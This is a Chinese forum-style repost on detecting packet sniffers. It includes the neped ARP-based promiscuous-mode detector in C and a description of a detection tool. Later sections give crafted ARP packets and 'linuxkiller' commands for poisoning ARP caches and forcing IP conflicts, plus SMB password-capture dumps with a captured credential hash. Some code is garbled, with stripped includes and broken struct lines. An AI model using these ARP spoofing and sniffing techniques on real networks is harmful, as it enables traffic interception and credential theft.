歡迎您光臨本站 註冊首頁

如何檢測Sniffer

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  技術細節 L0pht 公司已經說明了,如下:
Win9x/NT
  正常情況下,就是說不在混亂模式,網卡檢測是不是廣播地址
要比較看收到的目的乙太網址是否等於ff.ff.ff.ff.ff.ff
是則認為是廣播地址。
  在混亂模式時,網卡檢測是不是廣播地址只看收到包的目的以太
網址的第一個八位組值,是0xff則認為是廣播地址。
利用這點細微差別就可以檢測出Sniffer.
Linux
  以前就提出過,一些版本內核有這種問題:
  當混雜模式時,每個包都被傳到了操作系統內核以處理。
在處理某些包,只看IP地址而不看乙太網頭中的源物理地址。
所以:
  使用一個不存在的目的MAC,正確的目的IP,受影響
的內核將會由於是混雜模式而處理它,並將之交給相應系統
堆棧處理。從而實現檢測Sniffer
  總之,只要發一個乙太網頭中目的地址是ff.00.00.00.00.00
的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以檢測出Linux和
Windows網卡處於混亂狀態的計算機.
  以下是一個Linux下用於檢測Linux下Sniffer的程序,很多地方都貼
過了,我只改了一句話,這樣也可以檢測出Windows機器。:)
/*
gcc -lbsd -O3 -o linuxanti linuxanti.c
*/
/*
Network Promiscuous Ethernet Detector.
Linux 2.0.x / 2.1.x, libc5 & GlibC
-----------------------------------------
(c) 1998 savage@apostols.org
-----------------------------------------
Scan your subnet, and detect promiscuous
Windows & linuxes. It really works, not a joke.
-----------------------------------------
$Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $
*/
#include
#include /* for nonblocking */
#include
#include /* basic socket definitions */
#include /* for ifreq */
#include /* inet(3) functions */
#define ETH_P_ARP 0x0806
#define MAX_PACK_LEN 2000
#define ETHER_HEADER_LEN 14
#define ARPREQUEST 1
#define ARPREPLY 2
#define perr(s) fprintf(stderr,s)
struct arp_struct
{
u_char dst_mac[6];
u_char src_mac[6];
u_short pkt_type;
u_short hw_type;
u_short pro_type;
u_char hw_len;
u_char pro_len;
u_short arp_op;
u_char sender_eth[6];
u_char sender_ip[4];
u_char target_eth[6];
u_char target_ip[4];
};
union
{
u_char full_packet[MAX_PACK_LEN];
struct arp_struct arp_pkt;
}
a;
#define full_packet a.full_packet
#define arp_pkt a.arp_pkt
char *
inetaddr ( u_int32_t ip )
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
char *
hwaddr (u_char * s)
{
static char buf[30];
sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s[1], s[2], s[3],
s[4], s[5]);
return buf;
}
void
main (int argc, char **argv)
{
int rec;
int len, from_len, rsflags;
struct ifreq if_data;
struct sockaddr from;
u_int8_t myMAC[6];
u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip;
if (getuid () != 0)
{
perr ("You must be root to run this program!n");
exit (0);
}
if (argc != 2)
{
fprintf(stderr,"Usage: %s eth0n", argv[0]);
exit (0);
}
if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
{
perror("socket");
exit (0);
}
printf ("----------------------------------------------------------n");
strcpy (if_data.ifr_name, argv[1]);
if (ioctl (rec, SIOCGIFHWADDR, &if_data) < 0) {
perr ("can get HW addres of my interface!n");
exit(1);
}
memcpy (myMAC, if_data.ifr_hwaddr.sa_data, 6);
printf ("> My HW Addr: %sn", hwaddr (myMAC));
if (ioctl (rec, SIOCGIFADDR, &if_data) < 0) {
perr ("can get IP addres of my interface!n");
exit(1);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
myIP = ntohl (ip);
printf ("> My IP Addr: %sn", inetaddr(ip));
if (ioctl (rec, SIOCGIFNETMASK, &if_data) < 0)
perr ("can get NETMASK addres of my interface!n");
memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
myNETMASK = ntohl (ip);
printf ("> My NETMASK: %sn", inetaddr(ip));
if (ioctl (rec, SIOCGIFBRDADDR, &if_data) < 0)
perr ("can get BROADCAST addres of my interface!n");
memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
myBROADCAST = ntohl (ip);
printf ("> My BROADCAST: %sn", inetaddr(ip));
if ((rsflags = fcntl (rec, F_GETFL)) == -1)
{
perror ("fcntl F_GETFL");
exit (1);
}
if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1)
{
perror ("fcntl F_SETFL");
exit (1);
}
printf ("----------------------------------------------------------n");
printf ("> Scanning ....n");
for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++)
{
bzero(full_packet, MAX_PACK_LEN);
memcpy (arp_pkt.dst_mac, "255255255255255", 6); /* ff:ff:ff:ff:ff:00
:) */
/* Only change this line! */
memcpy (arp_pkt.src_mac, myMAC, 6);
arp_pkt.pkt_type = htons( ETH_P_ARP );
arp_pkt.hw_type = htons( 0x0001 );
arp_pkt.hw_len = 6;
arp_pkt.pro_type = htons( 0x0800 );
arp_pkt.pro_len = 4;
arp_pkt.arp_op = htons (ARPREQUEST);
memcpy (arp_pkt.sender_eth, myMAC, 6);
ip = htonl (myIP);
memcpy (arp_pkt.sender_ip, &ip, 4);
memcpy (arp_pkt.target_eth, "", 6);
ip = htonl (dip);
memcpy (arp_pkt.target_ip, &ip, 4);
strcpy(from.sa_data, argv[1]);
from.sa_family = 1;
if( sendto (rec, full_packet, sizeof (struct arp_struct), 0, &from,
sizeof(from)) < 0)
perror ("sendto");
usleep (50);
len = recvfrom (rec, full_packet, MAX_PACK_LEN, 0, &from, &from_len);
if (len <= ETHER_HEADER_LEN)
continue;
memcpy (&ip, arp_pkt.target_ip, 4);
memcpy (&sip, arp_pkt.sender_ip, 4);
if (ntohs (arp_pkt.arp_op) == ARPREPLY
&& ntohl (ip) == myIP
&& ( dip - ntohl(sip) >= 0 )
&& ( dip - ntohl(sip) <= 2 ) )
{
printf ("*> Host %s, %s **** Promiscuous mode detected !!!n",
inetaddr (sip),
hwaddr (arp_pkt.sender_eth));
}
}
printf ("> End.n");
exit (0);
}



Sniffer Scaner

   Ace Studio , 1999. (AceStudio@hotmail.com)

運行環境:Win95/98,無需Winsock

本程序可以檢測出本網路內正在運行Sniffer的計算機,或者說
網卡處於混亂狀態。對方的操作系統可以是Win95/98/NT,Linux。

  Sniffer一般只能監聽連到同一集線器上計算機(這主要看網路的
拓撲結構),但檢測Sniffer可沒這種限制,只要與對方通訊可以不過
路由。只要符合此條件其他網路中的Sniffer也可以查出。

  一般不必配置,程序會自動檢測網路配置。一旦掃描發現有人竊
聽,會提示對方的IP, MAC,並會記錄到日誌(Antilog.txt)中。

註:有時候會誤報。一般是某些網卡驅動本身的問題

可以在以下位置下載
http://202.115.16.8/~skyfly/net/anti.zip
http://www2.neiep.edu.cn/ace/net/anti.zip



每台主機進入LAN時會向整個子網發送免費ARP通知報文,即該request包是
利用廣播方式請求解析自己的IP地址,但源和目標IP已經就位了。
免費ARP(源IP和目標IP一致)請求意味著一個包就影響了整個子網,
如果一個錯誤的免費ARP請求出現,整個子網都被攪亂了。

即使主機不發送免費ARP報文,也會因為後續的request請求導致自己的IP-MAC
對進入LAN上所有主機的ARP Cache中,所以衝突與否與免費ARP包沒有必然
聯繫。這個結論可以這樣理解,一台Linux主機與pwin98爭奪IP地址,Linux
主機將爭奪成功,pwin98卻一直在報告IP衝突,顯然後面所有的IP衝突報告
都與免費ARP包沒有關係了。

in_arpinput() 函數是4.XBSD-Lite2中的經典實現

1. 如果針對本機某個IP地址的請求到達,響應被送出。ARP入口
被建立(如果相應入口不存在)。這個優化避免過多的ARP報文交換。
2. 如果ARP響應到達,相應的ARP入口建立完成,異己主機的MAC地址
存儲在sockaddr_dl結構中,隊列中目標是該異己主機的報文現在
可以發送了。
3. 假如異己主機發送了一個ARP請求包或者響應包,包中源IP地址等
於自己的IP地址,那麼兩台之中必有一台錯誤配置了IP地址。Net/3
偵測到這個錯誤並向管理員報告。
4. 主機接收到來自異己主機的ARP包,該異己主機的ARP入口已經存在,
若包中異己主機的MAC地址已經改變,則相應的ARP入口中的MAC地址
得到更新。
5. 主機可以配置成proxy ARP server。這意味著它代替目標主機響應
ARP請求。卷I的4.6節討論了proxy ARP。用arp命令可以配置一台主
機成為proxy ARP server。


從3可以看到什麼時候進行了衝突監測,從4可以看到什麼時候發生了ARP Cache
動態修改。

./linuxkiller -o 0x80000200 -c 0x0806 -b140002 -q eth0
捕捉一個ARP REPLY報文的完整二進位顯示

byteArray [ 60 bytes ] ---->
00000000 00 00 21 CE 28 A4 00 00-21 D1 22 F1 08 06 00 01 ..!??.!??...
00000010 08 00 06 04 00 02 00 00-21 D1 22 F1 C0 A8 43 6F ........!瘍"括Co
00000020 00 00 21 CE 28 A4 C0 A8-43 74 20 20 20 20 20 20 ..!韋(括Ct
00000030 20 20 20 20 20 20 20 20-20 20 20 20
[arp/rarp] hardware = 0001 protocol = 0800
hardAddLen = 06 proAddLen = 04
00:00:21:D1:22:F1 -> 00:00:21:CE:28:A4
192.168.67.111 -> 192.168.67.116 ( ARP Reply )

00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 C0 A8-43 74
這種報文導致192.168.67.116的ARP CACHE中出現
192.168.67.111的MAC是00-00-00-00-00-00

52:54:AB:13:E1:C8 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 FF-FF-FF-EE-EE-EE C0 A8 43 6C
00 00 00 00 00 00 C0 A8-43 7C
這種報文導致192.168.67.124的ARP CACHE中出現
192.168.67.108的MAC是FF-FF-FF-EE-EE-EE

00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 00 00 00 00
這種不可以,因為192.168.67.116被寫成了0.0.0.0

00 00 00 11 11 11 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8-43 6A
這種導致192.168.67.106上報告ARP衝突,引發衝突的
MAC地址是00-00-22-F1-21-D1

00-00-21-D1-22-F1 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8 43 65
這種導致192.168.67.101上報告ARP衝突

把上面的報文cat > linuxkiller.byteArray,然後執行
./linuxkiller -k linuxkiller.byteArray -w 5
將導致發送了五個衝突包出去,會立刻看到效果。

如果是在Windows下,用NetXray發送也可以,不過NetXray有個毛病,
非要一定大小的報文才給發送,不能發送任意位元組的報文,所以可能
你需要填充部分數據。ARP報文沒有校驗和的概念,所以也不用考慮
重新計算校驗和的問題。

衝突沒有什麼意思,改寫ARP Cache有點用,就是所以arp spoof的
一部分。免費ARP是移動IP所需要的。Linux解決辦法是始終尊重
ATF_PERM標誌, 就是說靜態ARP入口不會在ARP性能優化規則下被接收
到的ARP包動態改變。Pwin98下用arp -s建立的靜態ARP入口會被接收到
的ARP包動態改變,至少我測試過向全子網廣播發送ARP請求包,企圖修
改對應網關IP的MAC地址為錯誤的MAC,成功。因為ARP廣播包不受
Lan Switch或者Smart Hub的影響,所以這是很無奈的一個結論。


struct mysmbhdr
{
u_char smb_c[4]; /* 0xFF SMB,必須是這四個位元組 */
u_char smb_command; /* 目前只處理0x25 */
u_char smb_errorclass; /* 0 Success,當這四個位元組全0時才繼續處
理 *
u_char smb_reserved0; /* 0x00 */
u_short smb_errorcode; /* 00 00 Success */
u_char smb_flags1; /* 0x80 Server Response,只處理這種情況
*/
u_short smb_flags2; /* 主機位元組順序,不要理會 */
u_char smb_pad0[12]; /* 全0的填充位元組 */
u_short smb_treeid; /* 主機位元組順序 */
u_short smb_callerpid; /* 主機位元組順序 */
u_short smb_unauthuid; /* 主機位元組順序 */
u_short smb_multiplexid; /* 主機位元組順序 */
u_char smb_countofparam; /* 從smb_sentparambytes開始有多少個u_sh
ort# 不要理會 */
u_short smb_sentparambytes; /* 主機位元組順序 */
u_short smb_totalsentdata; /* 主機位元組順序 */
u_char smb_countofparam; /* 從smb_sentparambytes開始有多少個u_sh
ort?
u_short smb_sentparambytes; /* 主機位元組順序 */
u_short smb_totalsentdata; /* 主機位元組順序 */
u_short smb_reserved1; /* 00 00 */
u_short smb_paramcount; /* 主機位元組順序 */
u_short smb_paramoffset; /* 主機位元組順序,利用這個偏移去取共享資
源個
?*/
u_short smb_paramdisplacement; /* 主機位元組順序 */
u_short smb_datacount; /* 主機位元組順序 */
u_short smb_dataoffset; /* 主機位元組順序,從這個偏移開始處理 */
u_short smb_datadisplacement; /* 主機位元組順序 */
};



口令明文傳輸的時候
./linuxkiller -v 000021d40b92 -u 000000111111 -a 110000 -b 2575006500680B32
-f 2200
從192.168.67.106到192.168.67.107單向MAC過濾,分析SMB報文,對TCP數據區偏移25H
處進進?
位元組過濾u.e.h.2
[ tcpsmb ] 192.168.67.106 [ 1190 ] --> 192.168.67.107 [ 139 ]
byteArray [ 143 bytes ] ---->
00000000 00 00 00 8B FF 53 4D 42-73 00 00 00 00 10 00 00 ...?MBs.......
00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?

00000020 01 00 82 A6 0D 75 00 65-00 68 0B 32 00 00 00 8A ..??u.e.h.2...

00000030 14 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ...............
(
00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC
H
00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi
n
00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0......
00000070 09 00 1B 00 XX XX XX XX-XX XX XX XX 00 5C 5C 56 ....XXXXXXXX.
V
00000080 45 4E 55 53 5C 53 43 5A-00 3F 3F 3F 3F 3F 00 ENUSSCZ.?????.

口令加密傳輸
./linuxkiller -u 000000111111 -a 110000 -b 2575006500680B32 -f 200
[ tcpsmb ] 192.168.67.106 [ 1136 ] --> 192.168.67.107 [ 139 ]
byteArray [ 158 bytes ] ---->
00000000 00 00 00 9A FF 53 4D 42-73 00 00 00 00 10 00 00 ...?MBs.......
00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?

00000020 01 00 01 4E 0D 75 00 65-00 68 0B 32 00 00 00 C7 ...N.u.e.h.2...

00000030 1F 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ...............
(
00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC
H
00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi
n
00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0......
00000070 18 00 2A 00 E4 7F 2C 5D-88 04 86 D5 2A 96 73 3C ..*.,]????s<
00000080 4E 95 67 40 B8 38 F5 CB-6C 11 6D 1C 5C 5C 56 45 N?g@?跛l.m.V
E
00000090 4E 55 53 5C 53 43 5A 00-3F 3F 3F 3F 3F 00 NUSSCZ.?????.
53435a00 SCZ
56454e55535445434800 VENUSTECH
57696e646f777320342e3000 Windows 4.0
57696e646f777320342e3000 Windows 4.0
04ff000000020018002a00
e47f2c5d880486d52a96733c4e956740b838f5cb6c116d1c
5c5c56454e55535c53435a00 VENUSSCZ
3f3f3f3f3f00
用網路刺客保存下來的結果
SCZVENUSTECH:3:9f62be236e88c1be:000053435a0056454e5553544543480057696e646f7
7732
:000000000000000000000000000000000000000000000000



大凡兄弟們給程序,不少是去掉了頭文件,
這個討論下去沒有意義,我也不說什麼了,反正下面的
頭文件會用的自己用去。注意,有些頭文件是有順序
的,我給的是可以用的,你如果增加或減少了什麼,
不要動已經給出的順序。linux下編譯socket程序不
象solaris下有-lnsl -lsocket之類的開關,直接gcc就
可以了

#include /* for isalpha */
#include
#include
#include
#include /* ANSI C header file */
#include /* for syslog() */
#include
#include /* for nonblocking */
#include
#include /* for getpass */
#include /* for pthread_ */
#include
#include
#include /* timespec{} for pselect() */
#include
#include /* for mmap */
#include /* for poll */
#include /* basic socket definitions */
#include /* for S_xxx file mode constants */
#include /* timeval{} for select() */
#include /* basic system data types */
#include /* for iovec{} and readv/writev */
#include /* for Unix domain sockets */
#include
#include /* for share memory */
#include
#include /* for PAGE_SIZE */
#include /* for ifreq */
#include
#include /* sockaddr_in{} and other Internet defns */
#include /* for iphdr */
#include
/* for icmphdr */
#include /* for igmp */
#include /* for tcphdr */
#include /* for udphdr */
#include /* for arphdr */
#include /* inet(3) functions */
#include
/* for ethhdr #define ETH_P_ALL 0x0003 */
#include
/* for struct sockaddr_ll */
#include
#include
#include /* for sysctl */

首先非常感謝 skyfly 前面的介紹,解答了我一個迷惑很久的問題。
上次從清華搞回linux源代碼編譯運行前自以為是地修改了
下面這條語句中的mac地址,以前我以為只要是fake mac就可以
到達探測效果,沒有想到還有其他竅道。現在用下面這條語句,就可
以同時針對windows和linux了
memcpy( arp_pkt.dst_mac, "xff", 6 ); /* ff:00:00:00:00:00 */
估計源代碼也是書寫錯誤,不應該是255255255255255的,
這種情況下只能監測出linux下的混雜模式網卡,而不能探測到NetXray的存在。
因為發送出去的是AD:AD:AD:AD:AD:0,這個fake mac依舊發現了SOCK_PACKET的存在,
但沒有發現NetXray的存在。而ff:00:00:00:00:00發現了NetXray和IPMan的存在,
後者也就意味著所有使用Vpacket.vxd的都將被發現,包括網路刺客和S-Term。
不過 pred 也指出過,對網卡的promisc模式的監測是根據操作系統的不同反應來進行
的,監視的時候可以不裝任何協議,這樣就查不出promisc模式的網卡了。
雖然我沒有在不裝任何協議的情況下進行過監聽,但 pred 指出的這個問題應該是存在

的。建議這樣,把某台已經可以正常連入Lan的Pwin98的所有協議都卸載掉,重新安裝
NetXray或者直接使用IPMan進行監聽,就知道效果如何了。尤其是那種專門用來進行
區域網分析的硬體設備,估計這個程序是監測不到它們的存在。話說回來,有幾個
會在自己本機不裝網路協議的情況下進行監聽呢,所以還是很有實際意義的。
只要啟動了NetXray,網卡就進入了混雜模式,這個可以從它即使不進行監聽也會報告網

絡衝突包出現得到證實,同樣Boy系列的工具、LinkViewPro等等都一樣,只要啟動了,

即使沒有進行監聽,也會設置網卡到混雜模式,退出后取消混雜模式。但是使用Vpacke
t.vx
的那些工具不是的,網路刺客,如果你不選擇進行監聽,網卡依舊在普通模式。不知道

使用packet.sys的NT下的監聽工具又是怎麼個樣子,沒測試過。在Linux下,如果你
是root用戶,ifconfig eth0 promisc后,運行antisniff,發現也被監測到了,可以
逗別人玩玩嘛,讓他來找你麻煩,然後開始詭辯。
雖然使用過L0pht的antisniff,一直奇怪為什麼自己從清華弄來的源代碼不行而它的
1.01可以,今天經skyfly一解釋,明白啦,再次感謝 skyfly 。看來了解原理是一回事

情,深入了解后加以利用又是另外一回事情,早該用NetXray看看antisniff發了些什麼

測包出來的,sigh
如果探測出來有混雜模式網卡存在,你該怎麼辦,辦法是冷靜,不要氣洶洶地去找人,

沒有意義,也不要無聊地進行所謂的自衛反擊,目前最嚴重的問題是監聽BBS,這個
可以通過使用ssh解決,華中站等Y2K危機過了,可以考慮使用sshd。
最後需要說明的是,這種監測是發送了大量報文到網路上的,網路分析軟體會立刻發現

現異常高峰報文,如果你監測0-255範圍,結果255的兄弟立刻斷線,你就無法發現他剛

監聽過你。而且,最好不要頻繁監測,網路負載都被你拖下來了,還說什麼其他的。矛

的對立面呀,還是趕快使用IPV6以及SSL吧,要不就只好依賴於革命自覺性(鬼相信)。


[火星人 ] 如何檢測Sniffer已經有679次圍觀

http://coctec.com/docs/program/show-post-72266.html